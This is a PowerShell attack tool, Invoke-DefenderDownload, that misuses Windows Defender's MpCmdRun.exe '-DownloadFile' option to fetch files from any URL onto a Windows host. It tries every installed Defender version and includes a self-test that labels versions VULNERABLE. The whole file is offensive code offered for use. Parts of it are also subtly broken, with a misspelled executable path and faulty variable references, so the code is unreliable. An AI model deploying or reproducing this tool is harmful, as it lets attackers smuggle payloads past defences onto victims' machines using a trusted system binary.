Invoke-DefenderDownload.ps1

<# 

Module: Invoke-DefenderDownload 

Author: d3adc0de

Licence: MIT

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


#>

function Invoke-DefenderDownload{

    <#
    .SYNOPSIS
        Easy script that tries to download a file using any installed version of Defender.
    .EXAMPLE
        # Tries all the versions installed
        Invoke-DefenderDownload -Url http://test.com/testfile.txt -Path C:\Windows\Temp\test.txt

        # Uses the specified version
        Invoke-DefenderDownload -Url http://test.com/testfile.txt -Path C:\Windows\Temp\test.txt -Version 4.18.2007.8-0
    #>
    [CmdletBinding()]
    param
    (
	[Parameter(Mandatory=$True)]
	[string]$Url,
	[Parameter(Mandatory=$True)]
	[string]$Path,
	[Parameter(Mandatory=$False)]
	[string]$Version
    )
    
   
    if($version -And $version -NotMatch "^\s*$"){
        $mpcmdrunpath = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\$($version)\\MpRumCmd.exe"
        if (Test-Path -Path $mpcmdrunpath -PathType Leaf){
            (cmd /c "$(mpcmdrunpath)" -DownloadFile -Url "$($url)" -Path "$($path)");
            sleep 1;
            if(Test-Path -Path $Path -PathType Leaf) {
                Write-Output "    [>] Downloaded: $($path)"
            
            }else {
                Write-Output "    [x] Could not download file" 
            }
    

        }else{
            Write-Output "[-] Version $($Version) seems to be not installed on the system"
        }
    }
    else 
    {
        gci -Path "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform"  -filter "4.18.*" -Directory | 
        ForEach-Object { 
            Write-Output "[*] Trying version: $($_.Name)";
            (cmd /c "$($_.FullName)\MpCmdRun.exe" -DownloadFile -Url "$($url)" -Path "$($path)"); 
            if(Test-Path -Path $path -PathType Leaf) 
            { 
                Write-Output "    [>] Downloaded: $($path)"
                break;
            } 
            else 
            { 
                Write-Output "    [x] Could not download file" 
            }
        }
    }
    Write-Output "[+] Done.";
}

function Invoke-DDSelfTest{
<#
    .SYNOPSIS
        Easy self test to enumerate installed versions of MpCmdRun.exe and check if they are vulnerable.
    .EXAMPLE
        Invoke-DDSelfTest

            Version: 4.18.2007.8-0 -> VULNERABLE
            Version: 4.18.2008.9-0 -> VULNERABLE
#>

    $testfile = "C:\\Windows\\Temp\\iso8859.txt"; 
    gci -Path "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform"  -filter "4.18.*" -Directory | 
    ForEach-Object { 
        $version = $_Name;
        (cmd /c "$($_.FullName)\MpCmdRun.exe" -DownloadFile -Url "https://www.w3.org/TR/PNG/iso_8859-1.txt" -Path "$($testfile)") ; 
        if(Test-Path -Path $testfile -PathType Leaf) 
        { 
            Write-Output "Version: $($_.Name) -> VULNERABLE"
            Remove-Item $testfile
        } 
        else 
        { 
            write-output "Version: $($_.Name) -> SAFE" 
        }
    }
}